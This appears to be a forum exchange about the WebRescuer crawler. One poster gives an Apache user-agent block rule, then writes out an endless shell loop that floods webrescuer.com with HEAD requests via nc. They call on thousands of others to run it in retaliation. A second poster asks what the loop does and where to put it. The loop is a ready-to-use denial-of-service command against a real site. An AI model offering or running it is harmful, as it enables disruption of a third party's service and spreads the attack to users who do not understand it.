after seeing WebRescuer consuming so much bandwidth in so many of my
logs it's not enough to block them.

## bad bots ## ERROR 404: Not Found
RewriteCond %{HTTP_USER_AGENT}
"Moozilla|Sleuth|SurveyBot|NPBot|TurnitinBot|LWP::Simple|WebRescuer"
ReWriteRule ^.*$ [F]

they need to feel the pain of a few thousand people doing this:

$ while [ x ]
do
echo 'HEAD / HTTP/1.0
Host: webrescuer.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

' | nc webrescuer.com 80
done

I'm having problems with WebRescuer as well. What does this do and
where do I put it?

Thanks for your help.
